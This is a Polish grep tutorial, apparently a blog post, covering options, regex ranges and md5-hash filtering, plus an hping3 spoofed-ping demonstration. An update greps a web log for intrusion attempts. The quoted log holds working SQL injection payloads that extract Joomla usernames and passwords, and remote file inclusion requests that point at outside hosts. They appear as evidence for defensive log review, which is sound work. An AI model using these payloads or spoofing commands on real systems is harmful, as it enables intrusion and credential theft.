Grep: how to do
Narzędzie do wyświetlania wyrazów z plików, standardowego wyjścia w
liniach; szukanego wyrazu, wyrażenia, całej linijki, wyniku działania innego
programu to
GREP.
W tym artykule string ‘wyraz’ będzie oznaczał słowo, które jest
poszukiwane przez grep’a.
Narzędzie zostało wyposażone w niżej przedstawione opcje filtrowania:
1.
-
E
traktuje wyraz jako rozszerzone wyrażenie regularne
-
F
traktuje wyraz jako listę stałych, oddzielonych od siebie nowymi liniami
wyrazów
-
G
po prostu szuka danego wyrazu (jest to opcja domyślna)
-
P
jest to eksperymentalna opcja, traktuje wyraz jako wyrażenie z Perl’a
-
e
służy do zabezpieczenia się by wyszukiwany zwrot zaczynał się od wyrazu,
zabezpieczamy się przez -. (np. grep -e -.adam plik)
-
f
określamy tutaj jaki plik przeszukiwać, linijka po linijce
-
i
ignoruje wielkości liter (dla zwrotu adam, będzie szukało aDam, ADAM,
aDaM)
-
v
zwróci wszystkie linie, które
nie pasują
do wyrazu
-
w
wybiera tylko te linie, które zawierają linijki, w których wyraz nie znajduje
się obok innej litery (znajdzie adam , adam@1, +adam, 123adam; nie
znajdzie adamek, adamski)
-
x
pokaż tylko te zwroty, które idealnie pasują do wyrazu
-
y
to co
-
i
(-
y jest wersją prehistoryczną)
-
c
proszę policzyć ile linijek pasuje do wyrazu
-
m n
skończ szukanie gdy znajdziesz
n
linii zawierających wyraz (użycie, np.: -m 0)
-
o
pokazuje część lini, która pasuje do wyrazu/wzorca (do używania z
wyrażeniami regularnymi)
-
q
nie rób nic, nic nie wyświetlaj ta opcja chyba dla podpuchy jest dodana,
można to też czytać jako: “pokaż mi co jest w /dev/null”
-
s
wyświetl wiadomość, jeśli plik nie istnieje lub jest nie możliwy do
przeszukania
-
H
wyświetl nazwę pliku, który jest przeszukiwany przy linijce, domyśle przy
przeszukiwaniu kilku plików
-h nie wyświetlaj nazwy pliku przy linijce-n podaj numer
linii, w której znaleziono wyraz-T przed wyświetlanym zwrotem wyświetla
Tab-Z przy wyświetlaniu :zwrot po nazwie przeszukiwanego pliku wstaw
znak ASCII NUL-A n pokaż kolejne n linijek po każdym znalezionym zwrocie-
B n
to co wyżej tylko linijki przed znalezionym zwrotem-C n połączenie -A
-B-a przeszukaj plik binarny tak jakby tam był tekst (wyjaśnienie:
otworzyłeś kiedyś zdjęcie albo archiwum notatnikiem?)-d jeśli grep ma
szukać w ścieżce to powiedz mu jak ma szukać; recurse – przeszuka
wszystkie pliki w katalogu, read – traktuje ścieżkę jakby była zwykłym
plikiem
Ufff.. już przebrnęliśmy przez wylistowanie większości opcji programu, można zabrać
się za filtrowanie zawartości pliku/plików.
Zacznijmy więc praktykować, trzeba ustalić jaką zawartość ma plik.
admin
adminek
AdMiNE
administrator
ehn8le
chikee
adammax
chris
8331d0969f7abe954525f411f5232c86:51:sebek072
8e354e0a1f564e3561079cc76d38d624:44:artek1422
mmci0128
d781b395
1225521
397c9a422b46817c89ebc7ffbf7dcb38:f2:tofik997
111111
22222
3333
444
55
6
harahiro
sell3r
kosmos
montag123
hugohugo
cuma#
hoenrules
19d3150d8a91721606d556c986996ff5:46:jolek561
ffd044ac8866293aae573855e87da8b3:07:sebek123
Co widzimy w zawartości pliku? 3 odmiany słowa administrator, 5 razy pojawił się
schemat md5:salt:passwd, kilka losowych wyrazów, i taki asterix malejący
poskładany z cyfr.
Zajmiemy się filtrowaniem tego pliku, u mnie nazywa się on grepa, by odzyskiwać
określone linijki.
Najpierw uzyskamy odmiany wyrazu admin, potem sam wyraz ‘admin’.
Przypomnę byś nie musiał przewijać ekranu żeby sprawdzić, której opcji używać.
agilobable@ASUS-PC:~$ grep admin grepa
admin
adminek
administrator
Teraz przefiltrujmy to samo, ale z opcją
-i, która nakazuje nie patrzeć na
wielkość liter:
agilobable@ASUS-PC:~$ grep -i admin grepa
admin
adminek
AdMiNE
administrator
No, wszystko działa jak dotąd. Teraz uzyskajmy tylko wyraz ‘admin’. Służy do tego
opcja
-x
agilobable@ASUS-PC:~$ grep -x admin grepa
admin
Zgadnij po wyniku do czego jest opcja
-v:
agilobable@ASUS-PC:~$ grep -v admin grepa
AdMiNE
ehn8le
chikee
adammax
chris
8331d0969f7abe954525f411f5232c86:51:sebek072
8e354e0a1f564e3561079cc76d38d624:44:artek1422
mmci0128
d781b395
1225521
397c9a422b46817c89ebc7ffbf7dcb38:f2:tofik997
111111
22222
3333
444
55
6
harahiro
sell3r
kosmos
montag123
hugohugo
cuma#
hoenrules
19d3150d8a91721606d556c986996ff5:46:jolek561
ffd044ac8866293aae573855e87da8b3:07:sebek123
Znak . (kropki) jest równoznaczny z każdym innym znakiem ASCII:
agilobable@ASUS-PC:~$ grep -i ......... grepa
administrator
8331d0969f7abe954525f411f5232c86:51:sebek072
8e354e0a1f564e3561079cc76d38d624:44:artek1422
397c9a422b46817c89ebc7ffbf7dcb38:f2:tofik997
montag123
hoenrules
19d3150d8a91721606d556c986996ff5:46:jolek561
ffd044ac8866293aae573855e87da8b3:07:sebek123
No dobrze, skoro takie podstawy są opanowane, można zacząć działać na czymś
trudniejszym
Czym są wyrażenia regularne? Nie o tym jest ten artykuł
Po prostu będziemy ich używać.
Wytłumaczę tylko czym są zakresy. Otóż zakresem jest jakaśtam ilość znaków z
tablicy ASCII, między pierwszym podanym znakiem, a drugim, w grepie zakres liter
od ‘a’ do ‘g’ zapisuje się
“[a-g]”
agilobable@ASUS-PC:~$ grep "[t-z]" grepa
administrator
adammax
8e354e0a1f564e3561079cc76d38d624:44:artek1422
397c9a422b46817c89ebc7ffbf7dcb38:f2:tofik997
montag123
hugohugo
cuma#
hoenrules
Wykonanie powyższego polecenia ma wyświetlić słowa, które zawierają w sobie
jakąkolwiek literę od ‘t’ do ‘z’. Co się udało.
Wyrażenia regularne można ze sobą łączyć, co jest ich największą zaletą,
odfiltrujemy teraz linijki, w których są hashe md5:
agilobable@ASUS-PC:~$ grep "[a-f0-9]{32}" grepa
8331d0969f7abe954525f411f5232c86:51:sebek072
8e354e0a1f564e3561079cc76d38d624:44:artek1422
397c9a422b46817c89ebc7ffbf7dcb38:f2:tofik997
19d3150d8a91721606d556c986996ff5:46:jolek561
ffd044ac8866293aae573855e87da8b3:07:sebek123
Powyższe polecenie ma za zadanie wyświetlić ciągi znakowe, w których występują
znaki od ‘a’ do ‘f’ oraz od zera do dziewięciu, przy czym w ciągu ma znajdować się
ten zakres 32 razy (liczba w nawiasie klamrowym określa ilość powtórzeń zakresu,
32 to długość hashu md5())
To samo można otrzymać gdy liczbę w nawiasie klamrowym zmniejszymy do no
choćby 16.
Innymi metaznakami wyrażeń regularnych są:
[[:
alnum:]] = [A-Za-z0-9]
[[:alpha:]] = [A-Za-z][[:digit:]] = [0-9][[:lower:]] = [a-z]
[[:upper:]] = [A-Z][[:xdigit:]] = Cyfry szesnastkowe, czyli to czym filtrowaliśmy
poprzednio md5 [a-f0-9)]
[[:print:]] = znaki widzialne na wydruku
Teraz zademonstruję metody, którymi można uzyskać hashe md5 na różne sposoby:
grep "[[:print:]]{32}" -o grepa
grep "[[:xdigit:]]{32}" -o grepa
grep "[a-f0-9]{32}" -o grepa
Liczby wstawiane w nawias nie przypadkowo mają takie ustawienie:
{
n} = n-razy powtórz zakresy
{n,} = powtórz zakresy więcej niż n-razy{,m} = powtórz
zakresy maksymalnie m-razy
{n,m} = powtórz zakresy od n do m-razy
Odfiltrujmy więc linie, w których są tylko liczby i na tym zakończę temat wyrażeń
regularnych:
agilobable@ASUS-PC:~$ grep -v "[[:alpha:]]" grepa
1225521
111111
22222
3333
444
55
6
lub
agilobable@ASUS-PC:~$ grep "[[:digit:]]{1,}" -ox grepa
Filtrowanie działania innego programu.
W tym dziale zademonstruję działanie 3 programów: grep, tcpdump i hping3. hping3
będzie wysyłał pakiety z zespoofowanym adresem IP(mój adres to 192.168.1.2 nie
ma sensu go pokazywać, chcę odfiltrować to czego jest mniej i nad czym mam
kontrolę więc sam stworze pakiety, które zaraz zobaczymy), tcpdump będzie je
chwytał, a grep pokazywał tylko te linijki w których pokaże się oszukany adres IP.
W mojej sieci adres 192.168.1.5 nie istnieje, a będę podawał się właśnie za niego,
wysyłając ping do komputera 192.168.1.3, mój adres to 192.168.1.2
Komenda, którą włączymy wysyłanie fałszywych pakietów ICMP echo reqest w
hping3 to:
hping3 -a 192.168.1.5 192.168.1.3
W oknie programu tcpdump wykonałem polecenie jak poniżej i otrzymałem także
poprawny wynik:
root@ASUS-PC:/home/agilobable# tcpdump -i wlan0 -v | grep 192.168.1.5
tcpdump: listening on wlan0, link-type EN10MB (Ethernet), capture size 96 bytes
192.168.1.3.2225 > 192.168.1.5.0: Flags [none], cksum 0x6c6a (correct), win 512, length 0
192.168.1.3.2226 > 192.168.1.5.0: Flags [none], cksum 0x3cb1 (correct), win 512, length 0
192.168.1.3.2227 > 192.168.1.5.0: Flags [none], cksum 0x2795 (correct), win 512, length 0
192.168.1.3.2228 > 192.168.1.5.0: Flags [none], cksum 0x51f4 (correct), win 512, length 0
192.168.1.3.2229 > 192.168.1.5.0: Flags [none], cksum 0xbe57 (correct), win 512, length 0
Jednak zobaczmy co się stanie gdy z komendy usunę część grepa (w tym czasie
trwa rozmowa na skype):
root@ASUS-PC:/home/agilobable# tcpdump -i wlan0 -v
tcpdump: listening on wlan0, link-type EN10MB (Ethernet), capture size 96 bytes
21:31:36.731256 IP (tos 0x0, ttl 117, id 52372, offset 0, flags [none], proto UDP (17), length 130)
host-212-67-144-143.cable.net-inotel.pl.36356 > ASUS-PC.local.33094: UDP, length 102
21:31:36.731708 IP (tos 0x0, ttl 64, id 16579, offset 0, flags [DF], proto UDP (17), length 70)
^C ASUS-PC.local.42925 > 192.168.1.1.domain: 216+ PTR? 2.1.168.192.in-addr.arpa. (42)
...
za dużo tego by pokazywać tutaj
...
951 packets captured
1856 packets received by filter
0 packets dropped by kernel
Na zakończenie, spróbuj odgadnąć jaki wynika da to polecenie:
curl -s http://checkip.dyndns.org/ | grep -o "[[:digit:].]+"
Artykuł napisany dla cierpiącego w agonii
Ende.
—–====
Update 1.1====—–
Na komentarz widma dodaję punkt z opisem funkcji -C n, który użyjemy do
sprawdzenia czy w logach serwera http są jakieś zapiski o próbie użycia
techniki SQLi do wyciągnięcia poufnych danych.
Komentarz: żeby wykonać SQL injection potrzebna jest komenda union
select
z funkcji MySQL, to właśnie po niej zorientujemy się czy doszło do
z logami znaleziony w Google, w którym gdzieś tam
jest użycie funkcji union select.
agilob@Asus-PC:~$ cat logi | grep -C 1 -m 2 “union”
polecenie to wyświetli cały plik z logami, grep’em przefiltruje potrzebne
nam linijki z wyrazem “union“, poszuka pierwszej takiej linijki, i wyświetli
jedną przed i jedną za tą znalezioną i będzie szukało 2 takich wypadków
(próby “włamania”). Pomoże to ustalić, który element aplikacji jest
dziurawy i jak został przeprowadzany atak, jeśli wyświetlimy więcej linijek.
72.94.249.37 – – [24/
Jan/2010:23:27:43 -0500] “GET / HTTP/1.1″ 200 1190 “-”
“Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR
1.1.4322)” “www.querecho.com”
74.55.15.194 – – [24/
Jan/2010:23:29:58 -0500] “GET /index.php?
option=com_pccookbook&page=viewuserrecipes&user_id=-
9999999/**/
union/**/select/**/concat(username,0%D73a,password)/**/fro
m/**/jos_users/* HTTP/1.1″ 404 207 “-” “libwww-perl/5.834″
“www.mikeadewole.com”
74.55.15.194 – – [24/
Jan/2010:23:29:58 -0500] “GET /parked-
20091029.log/index.php?
option=com_pccookbook&page=viewuserrecipes&user_id=-
9999999/**/union/**/select/**/concat(username,0%D73a,password)/**/fro
m/**/jos_users/* HTTP/1.1″ 404 227 “-” “libwww-perl/5.834″
“www.mikeadewole.com”
W tym wypadku wyświetliło jeden określony przez nas wynik (a przecież -
m 2
powinno zwracać dwa!), wyświetliło jeden, ponieważ w 3 linijce za tą
znalezioną też występuje słowno
union, więc tak naprawdę wyświetliło
dwa określone wyrażenia, jedno jest tym środkowym, a drugie to jest to
ostatnie wyświetlone, program grep spełnił w ten sposób dwa warunki
podane przez użytkownika jednocześnie. Gdy usuniesz -m 2 program
pokaże wszystkie linijki ze słowem
union, czyli tyle:
72.94.249.37 – – [24/
Jan/2010:23:27:43 -0500] “GET / HTTP/1.1″ 200 1190 “-”
“Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR
1.1.4322)” “www.querecho.com”
74.55.15.194 – – [24/
Jan/2010:23:29:58 -0500] “GET /index.php?
option=com_pccookbook&page=viewuserrecipes&user_id=-
9999999/**/
union/**/select/**/concat(username,0%D73a,password)/**/fro
m/**/jos_users/* HTTP/1.1″ 404 207 “-” “libwww-perl/5.834″
“www.mikeadewole.com”
74.55.15.194 – – [24/
Jan/2010:23:29:58 -0500] “GET /parked-
20091029.log/index.php?
option=com_pccookbook&page=viewuserrecipes&user_id=-
9999999/**/
union/**/select/**/concat(username,0%D73a,password)/**/fro
m/**/jos_users/* HTTP/1.1″ 404 227 “-” “libwww-perl/5.834″
“www.mikeadewole.com”
74.55.15.194 – – [24/
Jan/2010:23:30:25 -0500] “GET /parked-
20091113.log/index.php?
option=com_pccookbook&page=viewuserrecipes&user_id=-
9999999/**/
union/**/select/**/concat(username,0%D73a,password)/**/fro
m/**/jos_users/* HTTP/1.1″ 404 227 “-” “libwww-perl/5.834″
“www.mikeadewole.com”
74.55.15.194 – – [24/
Jan/2010:23:31:04 -0500] “GET /index.php?
option=com_pccookbook&page=viewuserrecipes&user_id=-
9999999/**/
union/**/select/**/concat(username,0%D73a,password)/**/fro
m/**/jos_users/* HTTP/1.1″ 404 207 “-” “libwww-perl/5.834″
“www.querecho.com”
69.73.144.187 – – [24/
Jan/2010:23:33:34 -0500] “GET /index.php?
option=com_pccookbook&page=viewuserrecipes&user_id=-
9999999/**/
union/**/select/**/concat(username,0%D73a,password)/**/fro
m/**/jos_users/*’ HTTP/1.1″ 404 207 “-” “libwww-perl/5.831″
“www.mikeadewole.com”
69.73.144.187 – – [24/
Jan/2010:23:34:13 -0500] “GET /index.php?
option=com_pccookbook&page=viewuserrecipes&user_id=-
9999999/**/
union/**/select/**/concat(username,0%D73a,password)/**/fro
m/**/jos_users/*’ HTTP/1.1″ 404 207 “-” “libwww-perl/5.831″
“www.querecho.com”
69.73.144.187 – – [24/
Jan/2010:23:43:24 -0500] “GET /parked-20091029.log
/
index.php?option=com_pccookbook&page=viewuserrecipes&user_id=-
9999999/**/
union/**/select/**/concat(username,0%D73a,password)/**/fro
m/**/jos_users/*’ HTTP/1.1″ 404 227 “-” “libwww-perl/5.831″
“www.mikeadewole.com”
69.73.144.187 – – [24/
Jan/2010:23:43:25 -0500] “GET /index.php?
option=com_pccookbook&page=viewuserrecipes&user_id=-
9999999/**/
union/**/select/**/concat(username,0%D73a,password)/**/fro
m/**/jos_users/*’ HTTP/1.1″ 404 207 “-” “libwww-perl/5.831″
“www.mikeadewole.com”
67.195.111.174 – – [24/
Jan/2010:23:44:37 -0500] “GET /pipermail/botsl-
updates/Week-of-Mon-20070702/015691.html HTTP/1.0″ 404 254 “-”
“Mozilla/5.0
(compatible;
Yahoo!
Slurp/3.0;
http://help.yahoo.com/help/us/ysearch/slurp)”
“www.adequest.ca”
—
118.223.225.130 – – [24/Jan/2010:23:58:32 -0500] “GET
///administrator/components/com_virtuemart/export.php?
mosConfig.absolute.path=http://musicadelibreria.net/footer?? HTTP/1.1″
404 248 “-” “Mozilla/5.0″ “www.mikeadewole.com”
69.73.144.187 – – [24/
Jan/2010:23:59:34 -0500] “GET /parked-
20091113.log/index.php?
option=com_pccookbook&page=viewuserrecipes&user_id=-
9999999/**/
union/**/select/**/concat(username,0%D73a,password)/**/fro
m/**/jos_users/*’ HTTP/1.1″ 404 227 “-” “libwww-perl/5.831″
“www.mikeadewole.com”
203.253.25.15 – – [25/
Jan/2010:00:13:50 -0500] “GET ////twindow_notice.php?
board_skin_path=http://med.buu.ac.th///components/com_mylink/son1.txt
? HTTP/1.1″ 404 216 “-” “Mozilla/5.0″ “www.mikeadewole.com”
W każdym z przypadków trzymając się polecenia, podając jeden wynik
przed i jeden za znalezioną linijką, daje to obraz, kto w czasie ataku
przeglądał stronę.
—-====
Update 1.2====—-
Grep jako szybka szukajka plików na dysku.
Dlaczego jako szukajka?
Bo przefiltrowanie wyników z polecenia find / będzie działało jak szujakja.
Dlaczego szybka? Bo nie wyświetla wszystkich wyników tylko te potrzebne,
te potrzebne trafiają na std out.
Załóżmy, że chcemy znaleźć wszystkie pliki deb, używane instalowane
ostatnio na naszym PC i usunąć je:
root@vshellz:~# find / | grep
i386.deb/var/cache/apt/archives/erlang-crypto_1%3a14.a-dfsg-
3_i386.deb/var/cache/apt/archives/odbcinst_2.2.14p2-
1_i386.deb/var/cache/apt/archives/lksctp-tools_1.0.11+dfsg-
1_i386.deb/var/cache/apt/archives/erlang-runtime-
tools_1%3a14.a-dfsg-3_i386.deb/var/cache/apt/archives/erlang-
inets_1%3a14.a-dfsg-3_i386.deb/var/cache/apt/archives/erlang-
asn1_1%3a14.a-dfsg-3_i386.deb/var/cache/apt/archives/erlang-
public-key_1%3a14.a-dfsg-
3_i386.deb/var/cache/apt/archives/erlang-syntax-
tools_1%3a14.a-dfsg-3_i386.deb/var/cache/apt/archives/erlang-
base_1%3a14.a-dfsg-3_i386.deb/var/cache/apt/archives/erlang-
ssl_1%3a14.a-dfsg-
3_i386.deb/var/cache/apt/archives/unixodbc_2.2.14p2-
1_i386.deb/var/cache/apt/archives/erlang-mnesia_1%3a14.a-dfsg-
3_i386.deb/var/cache/apt/archives/odbcinst1debian2_2.2.14p2-
1_i386.deb/var/cache/apt/archives/ejabberd_2.1.5-
3+squeeze1_i386.deb/var/cache/apt/archives/libsctp1_1.0.11+dfs
g-1_i386.deb/var/cache/apt/archives/erlang-odbc_1%3a14.a-dfsg-
3_i386.deb